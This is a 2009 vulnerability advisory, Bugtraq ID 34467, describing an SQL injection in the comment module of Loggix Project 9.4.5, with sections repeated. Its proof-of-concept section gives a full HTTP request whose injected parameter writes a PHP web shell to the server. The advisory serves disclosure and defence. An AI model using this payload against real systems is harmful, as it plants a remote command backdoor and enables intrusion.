Loggix Project 'post.php' SQL Injection Vulnerability
BID:34467
Info
Loggix Project 'post.php' SQL Injection Vulnerability
| Bugtraq ID: | 34467 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 10 2009 12:00AM |
| Updated: | Apr 13 2009 06:46PM |
| Credit: | Salvatore "drosophila" Fresta |
| Vulnerable: |
Loggix Project Loggix Project 9.4.5 |
| Not Vulnerable: | |
Discussion
Loggix Project 'post.php' SQL Injection Vulnerability
Loggix Project is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Loggix Project 9.4.5 is vulnerable; other versions may also be affected.
Loggix Project is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Loggix Project 9.4.5 is vulnerable; other versions may also be affected.
Exploit / POC
Loggix Project 'post.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example is available:
POST /path/modules/comment/post.php HTTP/1.1\r\n
Host: www.example.com\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 177\r\n
\r\n
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1' UNION ALL SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/htdocs/rce.php
Attackers can use a browser to exploit this issue.
The following example is available:
POST /path/modules/comment/post.php HTTP/1.1\r\n
Host: www.example.com\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 177\r\n
\r\n
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1' UNION ALL SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/htdocs/rce.php
Solution / Fix
Loggix Project 'post.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Loggix Project 'post.php' SQL Injection Vulnerability
References:
References:
- Loggix Project Homepage (Loggix Project)
- Loggix Project 9.4.5 Blind SQL Injection ("Salvatore \"drosophila\" Fresta"
)